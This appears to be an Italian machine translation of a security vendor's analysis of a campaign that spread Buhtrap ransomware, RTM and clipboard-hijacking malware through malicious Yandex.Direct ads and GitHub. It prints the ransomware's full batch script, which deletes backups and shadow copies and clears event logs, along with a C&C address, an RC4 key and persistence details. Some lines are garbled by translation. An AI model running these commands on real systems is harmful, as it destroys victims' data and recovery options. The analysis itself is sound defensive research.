Per prendere di mira i contabili in un attacco informatico, puoi utilizzare i documenti di lavoro che cercano online. Questo è più o meno ciò che un gruppo informatico ha fatto negli ultimi mesi, distribuendo backdoor conosciute. и , nonché crittografi e software per il furto di criptovalute. La maggior parte degli obiettivi si trovano in Russia. L'attacco è stato effettuato inserendo pubblicità dannosa su Yandex.Direct. Le potenziali vittime venivano indirizzate a un sito Web dove veniva chiesto loro di scaricare un file dannoso camuffato da modello di documento. Yandex ha rimosso la pubblicità dannosa dopo il nostro avviso.
Il codice sorgente di Buhtrap è trapelato online in passato quindi chiunque può usarlo. Non abbiamo informazioni sulla disponibilità del codice RTM.
In questo post vi spiegheremo come gli aggressori hanno distribuito malware utilizzando Yandex.Direct e lo hanno ospitato su GitHub. Il post si concluderà con un'analisi tecnica del malware.
Buhtrap e RTM sono tornati in attività
Meccanismo di diffusione e vittime
I vari carichi utili consegnati alle vittime condividono un meccanismo di propagazione comune. Tutti i file dannosi creati dagli aggressori sono stati inseriti in due diversi repository GitHub.
In genere, il repository conteneva un file dannoso scaricabile, che cambiava frequentemente. Poiché GitHub consente di visualizzare la cronologia delle modifiche apportate a un repository, possiamo vedere quale malware è stato distribuito durante un determinato periodo. Per convincere la vittima a scaricare il file dannoso è stato utilizzato il sito web Blanki-shabloni24[.]ru, mostrato nella figura sopra.
Il design del sito e tutti i nomi dei file dannosi seguono un unico concetto: moduli, modelli, contratti, campioni, ecc. Considerando che i software Buhtrap e RTM sono già stati utilizzati in passato negli attacchi ai contabili, abbiamo supposto che il La strategia nella nuova campagna è la stessa. L’unica domanda è come la vittima sia arrivata al sito degli aggressori.
infezione
Almeno diverse potenziali vittime che sono finite su questo sito sono state attratte da pubblicità dannose. Di seguito è riportato un URL di esempio:
https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456
Come potete vedere dal link, il banner è stato pubblicato sul legittimo forum di contabilità bb.f2[.]kz. È importante notare che i banner apparivano su siti diversi, tutti avevano lo stesso ID campagna (blanki_rsya) e la maggior parte riguardava servizi contabili o di assistenza legale. Dall'URL risulta che la potenziale vittima ha utilizzato la richiesta “scarica modulo fattura”, il che avvalora la nostra ipotesi di attacchi mirati. Di seguito sono riportati i siti in cui sono apparsi i banner e le corrispondenti query di ricerca.
- scarica il modulo fattura – bb.f2[.]kz
- contratto campione - Ipopen[.]ru
- campione di reclamo applicativo - 77metrov[.]ru
- modulo di accordo - blank-dogovor-kupli-prodazhi[.]ru
- esempio di petizione al tribunale - zen.yandex[.]ru
- reclamo di esempio - yurday[.]ru
- moduli contrattuali campione – Regforum[.]ru
- forma contrattuale – assistus[.]ru
- esempio di contratto per appartamento – napravah[.]com
- campioni di contratti legali - avito[.]ru
Il sito Blanki-shabloni24[.]ru potrebbe essere stato configurato per superare una semplice valutazione visiva. In genere, un annuncio che punta a un sito dall'aspetto professionale con un collegamento a GitHub non sembra qualcosa di ovviamente negativo. Inoltre, gli aggressori hanno caricato file dannosi nel repository solo per un periodo limitato, probabilmente durante la campagna. Nella maggior parte dei casi, il repository GitHub conteneva un archivio zip vuoto o un file EXE vuoto. Pertanto, gli aggressori potrebbero distribuire pubblicità tramite Yandex.Direct su siti che molto probabilmente erano visitati da contabili che rispondevano a specifiche query di ricerca.
Successivamente, diamo un'occhiata ai vari carichi utili distribuiti in questo modo.
Analisi del carico utile
Cronologia della distribuzione
La campagna dannosa è iniziata alla fine di ottobre 2018 ed è attiva nel momento in cui scriviamo. Poiché l'intero repository era pubblicamente disponibile su GitHub, abbiamo compilato una cronologia accurata della distribuzione di sei diverse famiglie di malware (vedere la figura seguente). Abbiamo aggiunto una riga che mostra quando è stato scoperto il collegamento del banner, misurato dalla telemetria ESET, per il confronto con la cronologia git. Come puoi vedere, ciò è strettamente correlato alla disponibilità del payload su GitHub. La discrepanza alla fine di febbraio può essere spiegata dal fatto che non avevamo parte della cronologia delle modifiche perché il repository è stato rimosso da GitHub prima che potessimo ottenerlo completamente.
Figura 1. Cronologia della distribuzione del malware.
Certificati di firma del codice
La campagna ha utilizzato più certificati. Alcuni sono stati firmati da più di una famiglia di malware, il che indica ulteriormente che campioni diversi appartenevano alla stessa campagna. Nonostante la disponibilità della chiave privata, gli operatori non hanno firmato sistematicamente i file binari e non hanno utilizzato la chiave per tutti i campioni. Alla fine di febbraio 2019, gli aggressori hanno iniziato a creare firme non valide utilizzando un certificato di proprietà di Google di cui non disponevano della chiave privata.
Tutti i certificati coinvolti nella campagna e le famiglie di malware da essi firmati sono elencati nella tabella seguente.
Abbiamo utilizzato questi certificati di firma del codice anche per stabilire collegamenti con altre famiglie di malware. Per la maggior parte dei certificati, non abbiamo trovato campioni che non fossero stati distribuiti tramite un repository GitHub. Per firmare il malware appartenente alla botnet è stato invece utilizzato il certificato TOV “MARIYA”. , adware e minatori. È improbabile che questo malware sia correlato a questa campagna. Molto probabilmente il certificato è stato acquistato sulla darknet.
Win32/Filecoder.Buhtrap
Il primo componente che ha attirato la nostra attenzione è stato il nuovo Win32/Filecoder.Buhtrap. Questo è un file binario Delphi che a volte viene confezionato. È stato distribuito principalmente nel periodo febbraio-marzo 2019. Si comporta come si addice a un programma ransomware: cerca nelle unità locali e nelle cartelle di rete e crittografa i file rilevati. Non necessita che la connessione Internet venga compromessa perché non contatta il server per inviare chiavi di crittografia. Aggiunge invece un “token” alla fine della richiesta di riscatto e suggerisce di utilizzare la posta elettronica o Bitmessage per contattare gli operatori.
Per crittografare quante più risorse sensibili possibile, Filecoder.Buhtrap esegue un thread progettato per chiudere il software chiave che potrebbe avere gestori di file aperti contenenti informazioni preziose che potrebbero interferire con la crittografia. I processi target sono principalmente sistemi di gestione di database (DBMS). Inoltre, Filecoder.Buhtrap elimina file di registro e backup per rendere difficile il recupero dei dati. Per fare ciò, esegui lo script batch di seguito.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled
Filecoder.Buhtrap utilizza un servizio IP Logger online legittimo progettato per raccogliere informazioni sui visitatori del sito web. Questo ha lo scopo di tracciare le vittime del ransomware, che è responsabilità della riga di comando:
mshta.exe "javascript:document.write('');"
I file per la crittografia vengono selezionati se non corrispondono a tre elenchi di esclusione. Innanzitutto, i file con le seguenti estensioni non vengono crittografati: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys e .bat. In secondo luogo, vengono esclusi tutti i file il cui percorso completo contiene stringhe di directory dall'elenco seguente.
.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel
In terzo luogo, anche alcuni nomi di file sono esclusi dalla crittografia, tra cui il nome del file della richiesta di riscatto. L'elenco è presentato di seguito. Ovviamente, tutte queste eccezioni hanno lo scopo di mantenere la macchina in funzione, ma con controlli tecnici minimi.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe
Schema di crittografia dei file
Una volta eseguito, il malware genera una coppia di chiavi RSA a 512 bit. L'esponente privato (d) e il modulo (n) vengono quindi crittografati con una chiave pubblica a 2048 bit hardcoded (esponente e modulo pubblici), compressa in zlib e codificata base64. Il codice responsabile di ciò è mostrato nella Figura 2.
Figura 2. Risultato della decompilazione Hex-Rays del processo di generazione della coppia di chiavi RSA a 512 bit.
Di seguito è riportato un esempio di testo semplice con una chiave privata generata, ovvero un token allegato al messaggio di riscatto.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239
La chiave pubblica degli aggressori è riportata di seguito.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD
I file vengono crittografati utilizzando AES-128-CBC con una chiave a 256 bit. Per ogni file crittografato vengono generati una nuova chiave e un nuovo vettore di inizializzazione. Le informazioni sulla chiave vengono aggiunte alla fine del file crittografato. Consideriamo il formato del file crittografato.
I file crittografati hanno la seguente intestazione:
I dati del file sorgente con l'aggiunta del valore magico VEGA vengono crittografati nei primi 0x5000 byte. Tutte le informazioni di decrittazione sono allegate a un file con la seguente struttura:
- L'indicatore della dimensione del file contiene un segno che indica se il file ha una dimensione superiore a 0x5000 byte
— BLOB di chiavi AES = ZlibCompress(RSAEncrypt(chiave AES + IV, chiave pubblica della coppia di chiavi RSA generata))
- Blob di chiave RSA = ZlibCompress(RSAEncrypt(chiave privata RSA generata, chiave pubblica RSA hardcoded))
Win32/ClipBanker
Win32/ClipBanker è un componente distribuito in modo intermittente da fine ottobre a inizio dicembre 2018. Il suo ruolo è monitorare il contenuto degli appunti, cerca indirizzi di portafogli di criptovaluta. Dopo aver determinato l'indirizzo del portafoglio di destinazione, ClipBanker lo sostituisce con un indirizzo ritenuto appartenente agli operatori. I campioni che abbiamo esaminato non erano né inscatolati né offuscati. L'unico meccanismo utilizzato per mascherare il comportamento è la crittografia delle stringhe. Gli indirizzi del portafoglio dell'operatore vengono crittografati utilizzando RC4. Le criptovalute target sono Bitcoin, Bitcoin cash, Dogecoin, Ethereum e Ripple.
Durante il periodo in cui il malware si è diffuso nei portafogli Bitcoin degli aggressori, una piccola somma è stata inviata a VTS, il che mette in dubbio il successo della campagna. Inoltre, non ci sono prove che suggeriscano che queste transazioni fossero legate a ClipBanker.
Win32/RTM
Il componente Win32/RTM è stato distribuito per diversi giorni all'inizio di marzo 2019. RTM è un Trojan banker scritto in Delphi, destinato ai sistemi bancari remoti. Nel 2017, i ricercatori ESET hanno pubblicato di questo programma, la descrizione è ancora rilevante. Nel gennaio 2019 è stato rilasciato anche Palo Alto Networks .
Caricatore Buhtrap
Per qualche tempo su GitHub era disponibile un downloader che non era simile ai precedenti strumenti Buhtrap. Si gira https://94.100.18[.]67/RSS.php?<some_id> per ottenere la fase successiva e caricarla direttamente in memoria. Possiamo distinguere due comportamenti del codice della seconda fase. Nel primo URL, RSS.php ha trasmesso direttamente la backdoor Buhtrap: questa backdoor è molto simile a quella disponibile dopo la divulgazione del codice sorgente.
È interessante notare che vediamo diverse campagne con la backdoor Buhtrap e presumibilmente gestite da diversi operatori. In questo caso, la differenza principale è che la backdoor viene caricata direttamente in memoria e non utilizza il solito schema del processo di distribuzione della DLL di cui abbiamo parlato . Inoltre, gli operatori hanno modificato la chiave RC4 utilizzata per crittografare il traffico di rete verso il server C&C. Nella maggior parte delle campagne che abbiamo visto, gli operatori non si sono preoccupati di cambiare questa chiave.
Il secondo comportamento più complesso era che l'URL RSS.php veniva passato a un altro caricatore. Ha implementato alcuni offuscamenti, come la ricostruzione della tabella di importazione dinamica. Lo scopo del bootloader è contattare il server C&C [.]com/api/F27F84EDA4D13B15/2, invia i log e attendi una risposta. Elabora la risposta come un blob, la carica in memoria e la esegue. Il carico utile che abbiamo visto durante l'esecuzione di questo caricatore era lo stesso backdoor Buhtrap, ma potrebbero esserci altri componenti.
Android/Spy.Banker
È interessante notare che nel repository GitHub è stato trovato anche un componente per Android. È stato nella filiale principale solo per un giorno: 1 novembre 2018. A parte la pubblicazione su GitHub, la telemetria ESET non trova prove della distribuzione di questo malware.
Il componente è stato ospitato come pacchetto di applicazioni Android (APK). E' fortemente offuscato. Il comportamento dannoso è nascosto in un JAR crittografato situato nell'APK. È crittografato con RC4 utilizzando questa chiave:
key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]
La stessa chiave e lo stesso algoritmo vengono utilizzati per crittografare le stringhe. JAR si trova in APK_ROOT + image/files. I primi 4 byte del file contengono la lunghezza del JAR crittografato, che inizia immediatamente dopo il campo della lunghezza.
Dopo aver decrittografato il file, abbiamo scoperto che si trattava di Anubis, in precedenza banchiere per Android. Il malware ha le seguenti caratteristiche:
- registrazione del microfono
- prendendo screenshot
- ottenere le coordinate GPS
- keylogger
- crittografia dei dati del dispositivo e richiesta di riscatto
- spam
È interessante notare che il banchiere ha utilizzato Twitter come canale di comunicazione di backup per ottenere un altro server C&C. Il campione da noi analizzato utilizzava il conto @JonesTrader, ma al momento dell'analisi era già bloccato.
Il banchiere contiene un elenco di applicazioni di destinazione sul dispositivo Android. È più lungo dell'elenco ottenuto nello studio Sophos. L'elenco include molte applicazioni bancarie, programmi di shopping online come Amazon ed eBay e servizi di criptovaluta.
MSIL/ClipBanker.IH
L'ultimo componente distribuito nell'ambito di questa campagna è stato l'eseguibile .NET Windows, apparso a marzo 2019. La maggior parte delle versioni studiate erano confezionate con ConfuserEx v1.0.0. Come ClipBanker, questo componente utilizza gli appunti. Il suo obiettivo è una vasta gamma di criptovalute, nonché offerte su Steam. Inoltre, utilizza il servizio IP Logger per rubare la chiave WIF privata Bitcoin.
Meccanismi di protezione
Oltre ai vantaggi offerti da ConfuserEx nel prevenire debug, dumping e manomissioni, il componente include la capacità di rilevare prodotti antivirus e macchine virtuali.
Per verificare che venga eseguito in una macchina virtuale, il malware utilizza la riga di comando WMI (WMIC) integrata di Windows per richiedere informazioni sul BIOS, vale a dire:
wmic bios
Quindi il programma analizza l'output del comando e cerca le parole chiave: VBOX, VirtualBox, XEN, qemu, bochs, VM.
Per rilevare i prodotti antivirus, il malware invia una richiesta di Strumentazione gestione Windows (WMI) al Centro sicurezza PC Windows utilizzando ManagementObjectSearcher API come mostrato di seguito. Dopo la decodifica da base64 la chiamata assomiglia a questa:
ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')
Figura 3. Processo per identificare i prodotti antivirus.
Inoltre, il malware controlla se , uno strumento per proteggersi dagli attacchi agli appunti e, se in esecuzione, sospende tutti i thread in quel processo, disabilitando così la protezione.
Persistenza
La versione del malware che abbiamo studiato si copia da sola %APPDATA%googleupdater.exe e imposta l'attributo "nascosto" per la directory di Google. Quindi modifica il valore SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell nel registro di Windows e aggiunge il percorso updater.exe. In questo modo, il malware verrà eseguito ogni volta che l'utente accede.
Comportamento dannoso
Come ClipBanker, il malware monitora il contenuto degli appunti e cerca gli indirizzi dei portafogli di criptovaluta e, una volta trovato, li sostituisce con uno degli indirizzi dell'operatore. Di seguito è riportato un elenco di indirizzi di destinazione in base a quanto trovato nel codice.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL
Per ogni tipo di indirizzo esiste un'espressione regolare corrispondente. Il valore STEAM_URL viene utilizzato per attaccare il sistema Steam, come si può vedere dall'espressione regolare che viene utilizzata per definire nel buffer:
b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b
Canale di esfiltrazione
Oltre a sostituire gli indirizzi nel buffer, il malware prende di mira le chiavi WIF private dei portafogli Bitcoin, Bitcoin Core ed Electrum Bitcoin. Il programma utilizza plogger.org come canale di esfiltrazione per ottenere la chiave privata WIF. Per fare ciò, gli operatori aggiungono i dati della chiave privata all'intestazione HTTP User-Agent, come mostrato di seguito.
Figura 4. Console IP Logger con dati di output.
Gli operatori non hanno utilizzato iplogger.org per esfiltrare i portafogli. Probabilmente hanno fatto ricorso ad un metodo diverso a causa del limite di 255 caratteri nel campo User-Agentvisualizzato nell'interfaccia web di IP Logger. Negli esempi studiati, l'altro server di output era archiviato nella variabile di ambiente DiscordWebHook. Sorprendentemente, questa variabile d'ambiente non è assegnata da nessuna parte nel codice. Ciò suggerisce che il malware è ancora in fase di sviluppo e che la variabile è assegnata alla macchina di prova dell'operatore.
C'è un altro segno che il programma è in fase di sviluppo. Il file binario include due URL iplogger.org ed entrambi vengono interrogati quando i dati vengono esfiltrati. In una richiesta ad uno di questi URL, il valore nel campo Referer è preceduto da “DEV /”. Abbiamo trovato anche una versione che non era stata inserita nel pacchetto utilizzando ConfuserEx, il destinatario di questo URL si chiama DevFeedbackUrl. In base al nome della variabile d'ambiente, riteniamo che gli operatori stiano pianificando di utilizzare il servizio legittimo Discord e il suo sistema di intercettazione web per rubare portafogli di criptovaluta.
conclusione
Questa campagna è un esempio dell'uso di servizi pubblicitari legittimi negli attacchi informatici. Lo schema prende di mira le organizzazioni russe, ma non saremmo sorpresi di vedere un simile attacco utilizzando servizi non russi. Per evitare compromessi, gli utenti devono avere fiducia nella reputazione della fonte del software che scaricano.
Un elenco completo degli indicatori di compromissione e degli attributi MITRE ATT&CK è disponibile all'indirizzo .
Fonte: habr.com